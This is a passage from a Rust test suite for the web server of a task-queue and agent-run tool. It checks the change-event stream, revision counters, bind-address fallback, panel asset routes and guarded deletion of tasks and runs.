20173        }
20174        // Queued and Failed intentionally both resolve to "upnext" - the
20175        // same section queueSection() itself files them under - rather than
20176        // getting a section each.
20177        for line in [
20178            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20179            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20180            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20181            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20182            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20183            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20184        ] {
20185            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20186        }
20187    }
20188
20189    #[test]
20190    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20191        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20192        // above for the section-focus channel a stats queue tile drives:
20193        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20194        // through the stale-search-clear recursion into renderQueue(), and
20195        // clear it only once revealQueueSection() is actually about to run -
20196        // the same trap that once silently dropped a task-focus jump.
20197        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20198        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20199        assert!(APP_JS.contains("function revealQueueSection(details)"));
20200        assert!(
20201            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20202            "renderQueue() must consume both focus channels on every pass"
20203        );
20204        assert!(
20205            APP_JS.contains(
20206                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20207            ),
20208            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20209             the recursive renderQueue() call has nothing left to reveal"
20210        );
20211        assert!(
20212            APP_JS.contains(
20213                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20214            ),
20215            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20216        );
20217        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20218        // task-focus form of the hash - a plain `#queue` navigation only
20219        // flips which view is visible. openQueueSectionFocus() must
20220        // therefore call renderQueue() itself, and applyRoute() too so the
20221        // view flips even when the hash doesn't change (the Backlog may
20222        // already be open when a tile is tapped, firing no hashchange
20223        // event at all).
20224        assert!(
20225            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20226            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20227             hashchange event that may never fire"
20228        );
20229    }
20230
20231    #[tokio::test]
20232    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20233        let f = Fixture::start().await;
20234
20235        let mut socket = tokio::net::TcpStream::connect(f.addr)
20236            .await
20237            .expect("connect");
20238        socket
20239            .write_all(
20240                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20241            )
20242            .await
20243            .expect("write request");
20244
20245        // Read until the first event arrives rather than to end of stream: the
20246        // stream is endless by design, which is the point of the route.
20247        let mut seen = String::new();
20248        let mut buf = [0u8; 1024];
20249        while !seen.contains("event: change") {
20250            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20251                .await
20252                .expect("the stream must speak within five seconds")
20253                .expect("read");
20254            assert!(read > 0, "the server closed the change stream: {seen}");
20255            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20256        }
20257
20258        assert!(
20259            seen.to_lowercase()
20260                .contains("content-type: text/event-stream"),
20261            "the browser only reconnects automatically for a real SSE stream: {seen}"
20262        );
20263        let data = seen
20264            .lines()
20265            .find_map(|l| l.strip_prefix("data:"))
20266            .expect("a data line");
20267        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20268        assert!(
20269            payload["queue_rev"].is_u64()
20270                && payload["runs_rev"].is_u64()
20271                && payload["questions_rev"].is_u64()
20272                && payload["talks_rev"].is_u64()
20273                && payload["notifications_rev"].is_u64()
20274                && payload["loop_rev"].is_u64(),
20275            "the client needs one revision per store to know what to refetch, \
20276             and `talks_rev` is the only notification a standing talk gets - a \
20277             phone whose radio slept through a turn learns about it here, as \
20278             does one whose operator started the loop from another device: \
20279             {payload}"
20280        );
20281
20282        // The front end re-polls health on a timer and on wake, and takes the
20283        // revisions from that answer whenever the stream is not up. So health
20284        // has to carry every key the stream carries: a phone on a link that
20285        // will not hold an SSE connection is exactly the phone that must still
20286        // notice a question, and a missing key there is not a 500 but a UI
20287        // that quietly stops updating.
20288        let health = f.get("/api/health").await.json();
20289        for key in [
20290            "queue_rev",
20291            "runs_rev",
20292            "questions_rev",
20293            "talks_rev",
20294            "notifications_rev",
20295            "loop_rev",
20296        ] {
20297            assert!(
20298                health[key].is_u64(),
20299                "health is the change stream's fallback and is missing `{key}`: {health}"
20300            );
20301        }
20302    }
20303
20304    #[tokio::test]
20305    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20306        let f = Fixture::start().await;
20307        let before = f.get("/api/health").await.json()["talks_rev"]
20308            .as_u64()
20309            .expect("talks_rev");
20310
20311        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20312        std::thread::sleep(Duration::from_millis(10));
20313        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20314        on_disk.turns.push(crate::talk::Turn {
20315            sender: None,
20316            breaks: Some(Vec::new()),
20317            messages: Vec::new(),
20318            posted_by: None,
20319            who: crate::talk::Who::Operator,
20320            body: "a new turn".to_owned(),
20321            at: Timestamp::now(),
20322            attachments: Vec::new(),
20323            usage: None,
20324        });
20325        f.talks().put(&mut on_disk).expect("record a turn");
20326
20327        let after = tokio::time::timeout(Duration::from_secs(5), async {
20328            loop {
20329                let revision = f.get("/api/health").await.json()["talks_rev"]
20330                    .as_u64()
20331                    .unwrap();
20332                if revision != before {
20333                    break revision;
20334                }
20335                tokio::time::sleep(Duration::from_millis(50)).await;
20336            }
20337        })
20338        .await
20339        .expect("shared monitor observes external turn");
20340        assert_ne!(
20341            before, after,
20342            "a phone must be able to notice a talk's reply without polling every store"
20343        );
20344    }
20345
20346    #[test]
20347    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20348        // The CLI shows the default in `--help` and parses whatever comes
20349        // back, so the two directions have to agree or `--bind auto` breaks
20350        // the moment someone copies the help text.
20351        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20352            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20353        }
20354        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20355        assert!("everywhere".parse::<Bind>().is_err());
20356    }
20357
20358    #[test]
20359    fn an_explicit_bind_address_is_taken_verbatim() {
20360        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20361
20362        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20363
20364        assert_eq!(addr, asked);
20365        assert!(
20366            warning.is_none(),
20367            "an operator who named an address gets no lecture"
20368        );
20369    }
20370
20371    #[test]
20372    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20373        let (addr, warning) = resolve_bind(&Bind::Auto);
20374
20375        // This has to hold on a CI runner with no `tailscale` and on a dev box
20376        // with one, so the invariant asserted is the one shared by both
20377        // outcomes: the address is either a real tailnet address offered
20378        // without comment, or loopback with an explanation. What must never
20379        // happen is a silent fallback - an operator told "listening on
20380        // 127.0.0.1" with no reason would go looking for a firewall.
20381        match addr {
20382            IpAddr::V4(ip) if is_tailnet(&ip) => {
20383                assert!(warning.is_none(), "a tailnet address needs no warning");
20384            }
20385            other => {
20386                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20387                let warning = warning.expect("a fallback has to explain itself");
20388                assert!(
20389                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20390                    "the warning says what happened and what it costs: {warning}"
20391                );
20392            }
20393        }
20394    }
20395
20396    #[test]
20397    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20398        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20399        // boundary cases are what stop us binding to some other tool's idea of
20400        // an address.
20401        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20402        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20403        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20404        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20405        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20406    }
20407
20408    #[test]
20409    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20410        let ids = vec![
20411            "20260902-140501-aaaa".to_owned(),
20412            "20260902-140502-aabb".to_owned(),
20413        ];
20414
20415        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20416        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20417        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20418
20419        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20420        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20421        assert_eq!(short, "20260902-140502-aabb");
20422    }
20423    #[tokio::test]
20424    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20425        // The prompt tells agents to reference attachments by bare filename.
20426        // A document served at `.../panel` resolves `shot.png` against its own
20427        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20428        // panel written exactly as instructed showed broken images. Caught by
20429        // looking at a real one in a browser, not by reading the code.
20430        let fx = Fixture::start().await;
20431        let id = panel(
20432            &fx,
20433            "<img src=\"shot.png\">",
20434            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20435        );
20436
20437        // The frame's own URL ends in a filename, so its siblings are reachable.
20438        let doc = fx
20439            .get(&format!("/api/questions/{id}/panel/index.html"))
20440            .await;
20441        assert_eq!(doc.status, 200, "{}", doc.body);
20442        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20443
20444        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20445        assert_eq!(sibling.status, 200, "{}", sibling.body);
20446        assert_eq!(sibling.header("content-type"), Some("image/png"));
20447        assert_eq!(
20448            sibling.header("content-security-policy"),
20449            Some(PANEL_CSP),
20450            "the sibling route must carry the same policy as the asset route"
20451        );
20452
20453        // The original spelling keeps working: HEAD on it is how the front end
20454        // decides whether to mount a frame at all.
20455        assert_eq!(
20456            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20457            200
20458        );
20459    }
20460
20461    #[test]
20462    fn delta_stamps_cover_add_update_remove_and_noop() {
20463        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20464        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20465        let delta = diff_stamps(&before, &after, 42);
20466        assert_eq!(delta.base, 42);
20467        assert_eq!(delta.changed, ["b", "c"]);
20468        assert_eq!(delta.removed, ["a"]);
20469        let same = diff_stamps(&after, &after, 43);
20470        assert!(same.changed.is_empty() && same.removed.is_empty());
20471        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20472        let nanos: Stamps = [("b".into(), (2, 20))].into();
20473        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20474        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20475        assert_eq!(stamps_revision(&Stamps::new()), 0);
20476    }
20477
20478    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20479        std::fs::create_dir_all(home.join("runs")).unwrap();
20480        Arc::new(Ui::new(
20481            Queue::at(home.join("queue")),
20482            Questions::at(home.join("questions")),
20483            Talks::at(home.join("talks")),
20484            home.join("runs"),
20485            home.to_owned(),
20486            PathBuf::from("/repo/magi"),
20487        ))
20488    }
20489
20490    #[test]
20491    fn monitor_scan_isolates_store_failures_and_recovers() {
20492        let home = TempDir::new().unwrap();
20493        let ui = delta_test_ui(home.path());
20494        std::fs::create_dir_all(ui.questions.root()).unwrap();
20495        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20496        let before = monitor_scan(&ui, None);
20497        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20498        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20499        std::fs::create_dir_all(ui.talks.root()).unwrap();
20500        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20501        let during = monitor_scan(&ui, Some(before.clone()));
20502        assert_eq!(during.0.2, before.0.2);
20503        assert_ne!(during.0.3, before.0.3);
20504        assert!(during.1[2].contains_key("new"));
20505        std::fs::remove_file(ui.questions.root()).unwrap();
20506        let after = monitor_scan(&ui, Some(during));
20507        assert_eq!(after.0.2, 0);
20508        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20509        // A failed first scan also permits healthy stores to publish.
20510        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20511        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20512    }
20513
20514    #[tokio::test]
20515    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20516        let home = TempDir::new().unwrap();
20517        let ui = delta_test_ui(home.path());
20518        let mut task = Task::new(
20519            "stream task".into(),
20520            "text".into(),
20521            PathBuf::from("/repo"),
20522            Source::Human,
20523        );
20524        ui.queue.put(&mut task).unwrap();
20525        let response = events(State(ui.clone())).await.into_response();
20526        let mut stream = response.into_body().into_data_stream();
20527        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20528            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20529                .await
20530                .unwrap()
20531                .unwrap()
20532                .unwrap();
20533            let text = String::from_utf8(chunk.to_vec()).unwrap();
20534            let data = text
20535                .lines()
20536                .find_map(|line| {
20537                    line.strip_prefix("data: ")
20538                        .or_else(|| line.strip_prefix("data:"))
20539                })
20540                .unwrap();
20541            serde_json::from_str(data).unwrap()
20542        }
20543        let initial = change(&mut stream).await;
20544        assert!(initial.get("queue_delta").is_none());
20545        task.instruction.push_str(" changed");
20546        ui.queue.put(&mut task).unwrap();
20547        let updated = change(&mut stream).await;
20548        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20549        assert_eq!(
20550            updated["queue_delta"]["changed"],
20551            serde_json::json!([task.id])
20552        );
20553        assert_eq!(
20554            updated["queue_rev"].as_u64(),
20555            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20556        );
20557        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20558        let removed = change(&mut stream).await;
20559        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20560        assert_eq!(
20561            removed["queue_delta"]["removed"],
20562            serde_json::json!([task.id])
20563        );
20564    }
20565
20566    #[tokio::test]
20567    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20568        let home = TempDir::new().unwrap();
20569        let ui = delta_test_ui(home.path());
20570        let queue = ui.queue.clone();
20571        let query = |ids: Option<&str>| {
20572            Query(ListQuery {
20573                limit: Some(2),
20574                ids: ids.map(str::to_owned),
20575            })
20576        };
20577        let mut root = Task::new(
20578            "root".into(),
20579            "instruction".into(),
20580            PathBuf::from("/repo"),
20581            Source::Human,
20582        );
20583        queue.put(&mut root).unwrap();
20584        let mut blocked = Task::new(
20585            "blocked".into(),
20586            "instruction".into(),
20587            PathBuf::from("/repo"),
20588            Source::Human,
20589        );
20590        blocked.block(vec![root.id.clone()], None);
20591        queue.put(&mut blocked).unwrap();
20592        let whole =
20593            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20594                .unwrap();
20595        let subset = serde_json::to_value(
20596            queue_list(State(ui.clone()), query(Some(&root.id)))
20597                .await
20598                .unwrap()
20599                .0,
20600        )
20601        .unwrap();
20602        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20603        let blockers = serde_json::to_value(
20604            queue_list(State(ui.clone()), query(Some("")))
20605                .await
20606                .unwrap()
20607                .0,
20608        )
20609        .unwrap();
20610        assert_eq!(blockers.as_array().unwrap().len(), 1);
20611        assert_eq!(blockers[0]["id"], blocked.id);
20612        assert_eq!(
20613            blockers[0]["waits_on"],
20614            whole
20615                .as_array()
20616                .unwrap()
20617                .iter()
20618                .find(|row| row["id"] == blocked.id)
20619                .unwrap()["waits_on"]
20620        );
20621
20622        for id in [
20623            "20260902-140501-aaaa",
20624            "20260902-140502-bbbb",
20625            "20260902-140503-cccc",
20626        ] {
20627            write_run(&ui.runs, id, RunStatus::Merged);
20628        }
20629        let old = serde_json::to_value(
20630            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20631                .await
20632                .unwrap()
20633                .0,
20634        )
20635        .unwrap();
20636        assert!(
20637            old.as_array().unwrap().is_empty(),
20638            "older updates must not enter the window"
20639        );
20640        let newest = serde_json::to_value(
20641            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20642                .await
20643                .unwrap()
20644                .0,
20645        )
20646        .unwrap();
20647        assert_eq!(newest.as_array().unwrap().len(), 1);
20648        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20649
20650        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20651        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20652        let talks = serde_json::to_value(
20653            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20654                .await
20655                .unwrap()
20656                .0,
20657        )
20658        .unwrap();
20659        assert_eq!(talks.as_array().unwrap().len(), 1);
20660        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20661        assert_eq!(
20662            serde_json::to_value(
20663                talks_list(State(ui.clone()), query(Some("")))
20664                    .await
20665                    .unwrap()
20666                    .0
20667            )
20668            .unwrap(),
20669            serde_json::json!([])
20670        );
20671    }
20672
20673    #[tokio::test]
20674    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20675    async fn delta_payload_benchmark() {
20676        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20677        let ui = delta_test_ui(&home);
20678        let query = |ids: Option<String>| {
20679            Query(ListQuery {
20680                limit: Some(50),
20681                ids,
20682            })
20683        };
20684        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20685        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20686        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20687        let queue_id = queue
20688            .iter()
20689            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20690            .unwrap_or(&queue[0])
20691            .task
20692            .id
20693            .clone();
20694        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20695            .await
20696            .unwrap()
20697            .0;
20698        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20699            .await
20700            .unwrap()
20701            .0;
20702        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20703            .await
20704            .unwrap()
20705            .0;
20706        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20707        eprintln!(
20708            "DELTA_PAYLOAD {}",
20709            serde_json::json!({
20710                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20711                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20712                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20713                "counts": [queue.len(), runs.len(), talks.len()],
20714                "blocked": queue_delta.len() - 1,
20715            })
20716        );
20717    }
20718
20719    #[test]
20720    fn runs_revision_moves_when_deleting_an_older_run() {
20721        let temp = TempDir::new().expect("tempdir");
20722        let runs = temp.path().join("runs");
20723        std::fs::create_dir_all(&runs).expect("create runs dir");
20724
20725        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20726
20727        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20728        std::thread::sleep(Duration::from_millis(10));
20729        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20730
20731        let rev_before = runs_revision(&runs);
20732        assert!(rev_before > 0);
20733
20734        let old_dir = runs.join("20260901-100000-old1");
20735        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20736
20737        let rev_after = runs_revision(&runs);
20738        assert_ne!(
20739            rev_before, rev_after,
20740            "deleting an older run must change the revision so other clients see the deletion"
20741        );
20742    }
20743
20744    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20745    /// process-global home entirely — `RunState::save` writes through
20746    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20747    /// (see `tests::home_lock` in the integration suite for why).
20748    fn write_state(runs: &FsPath, state: &RunState) {
20749        let dir = runs.join(&state.id);
20750        std::fs::create_dir_all(&dir).expect("run dir");
20751        std::fs::write(
20752            dir.join("run.json"),
20753            serde_json::to_string_pretty(state).expect("serialize run"),
20754        )
20755        .expect("write run.json");
20756    }
20757
20758    /// A seat starting or finishing is a write to `run.json` like any other,
20759    /// so it moves the same revision the change stream already watches —
20760    /// nothing new for `/api/events` to learn, but the property this feature
20761    /// depends on to reach the phone without a poll.
20762    #[test]
20763    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20764        let temp = TempDir::new().expect("tempdir");
20765        let runs = temp.path().join("runs");
20766        std::fs::create_dir_all(&runs).expect("create runs dir");
20767        let mut state = RunState::new(
20768            PathBuf::from("/repo/magi"),
20769            "main".to_owned(),
20770            "0123456789abcdef".to_owned(),
20771            "task".to_owned(),
20772            Config::default(),
20773        );
20774        state.id = "20260902-100000-c0de".to_owned();
20775        write_state(&runs, &state);
20776
20777        let rev_idle = runs_revision(&runs);
20778        std::thread::sleep(Duration::from_millis(10));
20779        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20780        write_state(&runs, &state);
20781        let rev_started = runs_revision(&runs);
20782        assert_ne!(
20783            rev_idle, rev_started,
20784            "a seat starting must move the revision"
20785        );
20786
20787        std::thread::sleep(Duration::from_millis(10));
20788        state.seat_finished("judge-1");
20789        write_state(&runs, &state);
20790        let rev_finished = runs_revision(&runs);
20791        assert_ne!(
20792            rev_started, rev_finished,
20793            "and clearing it again must move the revision a second time"
20794        );
20795    }
20796
20797    #[tokio::test]
20798    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20799        // `TaskView` flattens `Task`, so this is really asserting that
20800        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20801        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20802        // never touched web.rs, so nothing here caught it if it had.
20803        let fx = Fixture::start().await;
20804        let q = fx.queue();
20805
20806        let mut t = Task::new(
20807            "Task".to_owned(),
20808            "Instruction".to_owned(),
20809            PathBuf::from("/repo"),
20810            Source::Human,
20811        );
20812        t.block(
20813            vec!["20260101-000000-dead".to_owned()],
20814            Some("waiting on Task 1".to_owned()),
20815        );
20816        t.answers.push(crate::queue::AnsweredQuestion {
20817            question: "Which backend?".to_owned(),
20818            answer: "SQLite".to_owned(),
20819        });
20820        q.put(&mut t).expect("put t");
20821
20822        let res = fx.get("/api/queue").await;
20823        assert_eq!(res.status, 200);
20824        let list = res.json();
20825        let view = list
20826            .as_array()
20827            .expect("array")
20828            .iter()
20829            .find(|v| v["id"] == t.id)
20830            .expect("task in list");
20831        assert_eq!(view["status_str"], "blocked");
20832        assert_eq!(
20833            view["blocked_by"],
20834            serde_json::json!(["20260101-000000-dead"])
20835        );
20836        assert_eq!(view["block_reason"], "waiting on Task 1");
20837        assert_eq!(view["answers"][0]["question"], "Which backend?");
20838        assert_eq!(view["answers"][0]["answer"], "SQLite");
20839
20840        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20841        // but never `answers` - that is a settled decision, not state
20842        // describing the current block, so it survives.
20843        let res = fx
20844            .post(&format!("/api/queue/{}/hold", t.short()), None)
20845            .await;
20846        assert_eq!(res.status, 200);
20847        let held = res.json();
20848        assert_eq!(held["status_str"], "held");
20849        assert_eq!(held["blocked_by"], serde_json::json!([]));
20850        assert!(held["block_reason"].is_null());
20851        assert_eq!(held["answers"][0]["answer"], "SQLite");
20852    }
20853
20854    #[tokio::test]
20855    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20856        let fx = Fixture::start().await;
20857        let q = fx.queue();
20858        let mk = |title: &str| {
20859            Task::new(
20860                title.to_owned(),
20861                "Instruction".to_owned(),
20862                PathBuf::from("/repo"),
20863                Source::Human,
20864            )
20865        };
20866        let mut root = mk("root");
20867        root.hold_manual(Some("waiting".to_owned()));
20868        q.put(&mut root).unwrap();
20869        let mut mid = mk("mid");
20870        mid.block(vec![root.id.clone()], None);
20871        q.put(&mut mid).unwrap();
20872        let mut leaf = mk("leaf");
20873        leaf.block(vec![mid.id.clone()], None);
20874        q.put(&mut leaf).unwrap();
20875
20876        let list = fx.get("/api/queue").await.json();
20877        let find = |id: &str| {
20878            list.as_array()
20879                .unwrap()
20880                .iter()
20881                .find(|v| v["id"] == id)
20882                .unwrap()
20883                .clone()
20884        };
20885        let leaf_view = find(&leaf.id);
20886        assert_eq!(
20887            leaf_view["waits_on"],
20888            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20889        );
20890        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20891        assert_eq!(
20892            find(&mid.id)["waits_on"],
20893            serde_json::json!([format!("{} (held)", root.short())])
20894        );
20895        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20896    }
20897
20898    #[tokio::test]
20899    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20900        let fx = Fixture::start().await;
20901        let q = fx.queue();
20902
20903        // 1. A queued task with runs attached can be deleted.
20904        let mut t1 = Task::new(
20905            "Task 1".to_owned(),
20906            "Instruction 1".to_owned(),
20907            PathBuf::from("/repo"),
20908            Source::Human,
20909        );
20910        let run_id = "20260901-000000-r111";
20911        t1.runs.push(run_id.to_owned());
20912        write_run(&fx.runs(), run_id, RunStatus::Merged);
20913        q.put(&mut t1).expect("put t1");
20914
20915        // Delete by short id
20916        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20917        assert_eq!(res.status, 204);
20918        assert!(res.body.is_empty(), "204 No Content has no body");
20919        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20920        assert!(
20921            fx.runs().join(run_id).exists(),
20922            "run directory must not be deleted when its task is deleted"
20923        );
20924
20925        // 2. A task a live daemon is running is refused with 409.
20926        let mut t2 = Task::new(
20927            "Task 2".to_owned(),
20928            "Instruction 2".to_owned(),
20929            PathBuf::from("/repo"),
20930            Source::Human,
20931        );
20932        t2.status = TaskStatus::Running;
20933        q.put(&mut t2).expect("put t2");
20934        let mut beat = crate::daemon::Status::new();
20935        beat.current = vec![crate::daemon::Current {
20936            task: t2.id.clone(),
20937            run: "20260901-000000-r222".to_owned(),
20938        }];
20939        beat.updated_at = jiff::Timestamp::now();
20940        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20941            .expect("publish a heartbeat");
20942        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20943        assert_eq!(res.status, 409);
20944        assert!(
20945            res.json()["error"]
20946                .as_str()
20947                .unwrap()
20948                .contains("live daemon")
20949        );
20950        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20951
20952        // 3. The same `running` status and an orphaned lock, with no daemon
20953        // behind either, is a leftover and deletable. Before this the phone
20954        // refused it for good: the status never changes on its own and
20955        // nothing drops a lock whose process is gone.
20956        // The daemon is killed: the file stays, the heartbeat stops.
20957        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20958        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20959            .expect("leave a stale heartbeat");
20960        let mut t3 = Task::new(
20961            "Task 3".to_owned(),
20962            "Instruction 3".to_owned(),
20963            PathBuf::from("/repo"),
20964            Source::Human,
20965        );
20966        t3.status = TaskStatus::Running;
20967        q.put(&mut t3).expect("put t3");
20968        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20969        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20970        assert_eq!(res.status, 204);
20971        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20972        assert!(
20973            q.claim(&t3.id).is_ok(),
20974            "the stale lock went with it, so the id is claimable again"
20975        );
20976
20977        // 4. Missing id returns 404
20978        let res = fx.delete("/api/queue/nonexistent").await;
20979        assert_eq!(res.status, 404);
20980    }
20981
20982    #[tokio::test]
20983    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20984        let fx = Fixture::start().await;
20985        let runs = fx.runs();
20986
20987        // 1. Finished and folded run can be deleted along with artifacts
20988        let run_id = "20260901-000000-fold";
20989        let mut state = RunState::new(
20990            PathBuf::from("/repo"),
20991            "main".to_owned(),
20992            "abc".to_owned(),
20993            "instruction".to_owned(),
20994            Config::default(),
20995        );
20996        state.id = run_id.to_owned();
20997        state.status = RunStatus::Merged;
20998        state.candidates.push(crate::run::Candidate {
20999            index: 0,
21000            label: 'A',
21001            agent: "a".to_owned(),
21002            branch: "b".to_owned(),
21003            worktree: PathBuf::from("/w"),
21004            summary: String::new(),
21005            stat: String::new(),
21006            files: 1,
21007            commits: 1,
21008            empty: false,
21009            failed: None,
21010            verified_noop: None,
21011            duration_ms: 0,
21012            folded: true,
21013        });
21014        let dir = runs.join(run_id);
21015        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21016        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21017            .expect("write artifact");
